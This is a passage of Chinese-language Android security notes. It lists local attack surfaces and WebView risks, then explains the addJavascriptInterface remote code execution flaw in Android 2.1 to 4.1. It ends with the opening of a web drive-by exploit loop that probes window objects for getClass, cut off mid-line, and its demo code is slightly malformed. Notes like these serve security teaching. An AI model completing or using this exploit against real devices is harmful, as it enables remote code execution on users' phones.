本地攻击
(1)Content Provider
SQL注入、实现openFile函数导致目录遍历
(2)Activity的导出、劫持问题
私有组件错误导出
(3)SQLite数据库
SQL注入、load_extension代码执行
1.WebView安全
Android内置用于显示Web内容的控件。除用于 实现Web浏览器之外,还可利用HTML5的丰富交互效果和多媒体功能,直接开发App界面逻辑。 由于其复杂的功能实现和可访问远程内容的能力,可用于实现远程攻击。
(1)addJavascriptInterface远程代码执行漏洞
(2)hybrid Api设计不当
(3)未禁止记住密码
(4)忽略页面证书错误
(5)客户端跨站脚本
(6)允许file://协议访问
1.1 addJavascriptInterface
最常见的Javascript与Java层的通信方式。通过注入Java对象到WebView的javascript上下文,提供给页面访问本地代码的能力。
class JsObject{
@addJavascriptInterface
public String toString(){return "injectedObject";}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
(1)在Java中存在反射机制,可通过包名和类名获取Class实例,并通过方法名实现动态函数调用
(2)在Android2.1至4.1的所有版本中,使用addJavascriptInterface注入到WebView的Java对象可以利用继承的getClass方法,结合反射机制实现任意代码执行。
(3)漏洞具有可远程触发,利用稳定、影响版本广泛,无需适配等特性,是Android最为严重的攻击面。
网页挂马利用
for(var obj in window){
try{
if("getClass" in window[obj]){
try{
window[obj].getCla